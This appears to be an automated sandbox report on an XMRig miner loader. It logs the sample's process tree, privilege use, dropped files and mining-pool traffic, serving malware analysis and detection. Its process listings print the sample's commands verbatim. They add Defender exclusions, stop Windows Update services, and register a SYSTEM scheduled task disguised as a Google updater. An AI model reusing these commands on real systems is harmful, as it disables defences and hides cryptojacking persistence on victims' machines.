Malware Analysis Report

2025-08-05 11:16

Sample ID 241027-pl59esvqfs
Target loader.exe
SHA256 6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a
Tags
xmrig evasion execution miner
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6cf2cd2b186c6d10c081cb5afe7689d52b3ccc3da937c920718724c26573946a

Threat Level: Known bad

The file loader.exe was found to be: Known bad.

Malicious Activity Summary

xmrig evasion execution miner

xmrig

Suspicious use of NtCreateUserProcessOtherParentProcess

Xmrig family

XMRig Miner payload

Command and Scripting Interpreter: PowerShell

Stops running service(s)

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Executes dropped EXE

Drops file in System32 directory

Suspicious use of SetThreadContext

Launches sc.exe

Drops file in Program Files directory

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

Scheduled Task/Job: Scheduled Task

Modifies data under HKEY_USERS

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-27 12:26

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-27 12:26

Reported

2024-10-27 12:28

Platform

win7-20240903-en

Max time kernel

150s

Max time network

139s

Command Line

C:\Windows\Explorer.EXE

Signatures

Xmrig family

xmrig

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
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Stops running service(s)

evasion execution

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\system32\taskeng.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2532 set thread context of 1308 N/A C:\Program Files\Google\Chrome\updater.exe C:\Windows\System32\conhost.exe
PID 2532 set thread context of 1276 N/A C:\Program Files\Google\Chrome\updater.exe C:\Windows\explorer.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Google\Chrome\updater.exe C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
File created C:\Program Files\Google\Libs\WR64.sys C:\Program Files\Google\Chrome\updater.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6010c2846b28db01 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2948 wrote to memory of 3004 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 3004 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 3004 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 3032 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 3032 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 3032 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2060 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2060 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2060 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2212 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2212 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2212 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2160 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2160 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2948 wrote to memory of 2160 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 3048 wrote to memory of 2772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 3048 wrote to memory of 2772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 3048 wrote to memory of 2772 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 2736 wrote to memory of 2532 N/A C:\Windows\system32\taskeng.exe C:\Program Files\Google\Chrome\updater.exe
PID 2736 wrote to memory of 2532 N/A C:\Windows\system32\taskeng.exe C:\Program Files\Google\Chrome\updater.exe
PID 2736 wrote to memory of 2532 N/A C:\Windows\system32\taskeng.exe C:\Program Files\Google\Chrome\updater.exe
PID 2528 wrote to memory of 2616 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 2616 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 2616 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 2976 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 2976 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 2976 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 2552 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 2552 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 2552 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 384 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 384 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 384 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 1332 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 1332 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 2528 wrote to memory of 1332 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1860 wrote to memory of 1352 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 1860 wrote to memory of 1352 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 1860 wrote to memory of 1352 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 2532 wrote to memory of 1308 N/A C:\Program Files\Google\Chrome\updater.exe C:\Windows\System32\conhost.exe
PID 2532 wrote to memory of 1276 N/A C:\Program Files\Google\Chrome\updater.exe C:\Windows\explorer.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\system32\schtasks.exe

"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Windows\system32\taskeng.exe

taskeng.exe {8A0881F9-F0BB-46B3-9769-F037743EFCAD} S-1-5-18:NT AUTHORITY\System:Service:

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ljqsmfm#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\system32\schtasks.exe

"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 pool.hashvault.pro udp
DE 95.179.241.203:8888 pool.hashvault.pro tcp
DE 95.179.241.203:8888 pool.hashvault.pro tcp
DE 95.179.241.203:8888 pool.hashvault.pro tcp
DE 45.76.89.70:8888 pool.hashvault.pro tcp
DE 95.179.241.203:8888 pool.hashvault.pro tcp

Files

memory/2424-0-0x000000013FA80000-0x0000000143310000-memory.dmp

memory/2128-5-0x000007FEF5F4E000-0x000007FEF5F4F000-memory.dmp

memory/2128-8-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

memory/2128-7-0x0000000002200000-0x0000000002208000-memory.dmp

memory/2128-6-0x000000001B630000-0x000000001B912000-memory.dmp

memory/2128-10-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

memory/2128-11-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

memory/2128-9-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

memory/2128-12-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

memory/2128-13-0x000007FEF5C90000-0x000007FEF662D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 6391874f342672e5ed0919522f561490
SHA1 edcb23d4c02ffd2358c46f7333bb29268d8c4e20
SHA256 4a7acdb0dc77cb6ec4158b9c452c9ec870a043cc4b2e59a008abc4cb864a5b30
SHA512 b6707b2276f8b644c3dac86455c9a513d4471c1616a9d2e4734033f01b6730b156538c913cfbf9850628122bdb32c9139d4c9604c7531937528d814bc38ff400

memory/3048-19-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

memory/3048-20-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

memory/2424-22-0x000000013FA80000-0x0000000143310000-memory.dmp

memory/2532-26-0x000000013FAC0000-0x0000000143350000-memory.dmp

memory/1276-32-0x0000000000130000-0x0000000000150000-memory.dmp

memory/2532-31-0x000000013FAC0000-0x0000000143350000-memory.dmp

memory/1308-33-0x0000000140000000-0x000000014002A000-memory.dmp

memory/1276-34-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-36-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1308-37-0x0000000140000000-0x000000014002A000-memory.dmp

memory/1276-38-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-40-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-42-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-44-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-46-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-48-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-50-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-52-0x0000000140000000-0x00000001407EF000-memory.dmp

memory/1276-54-0x0000000140000000-0x00000001407EF000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-27 12:26

Reported

2024-10-27 12:26

Platform

win10v2004-20241007-en

Max time kernel

31s

Max time network

33s

Command Line

C:\Windows\Explorer.EXE

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 5084 created 3548 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\Explorer.EXE
PID 5084 created 3548 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\Explorer.EXE
PID 5084 created 3548 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\Explorer.EXE
PID 5084 created 3548 N/A C:\Users\Admin\AppData\Local\Temp\loader.exe C:\Windows\Explorer.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Stops running service(s)

evasion execution

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\updater.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Google\Chrome\updater.exe C:\Users\Admin\AppData\Local\Temp\loader.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4636 wrote to memory of 2520 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 2520 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 3576 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 3576 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 5104 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 5104 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 2940 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 2940 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 4240 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 4636 wrote to memory of 4240 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\loader.exe

"C:\Users\Admin\AppData\Local\Temp\loader.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

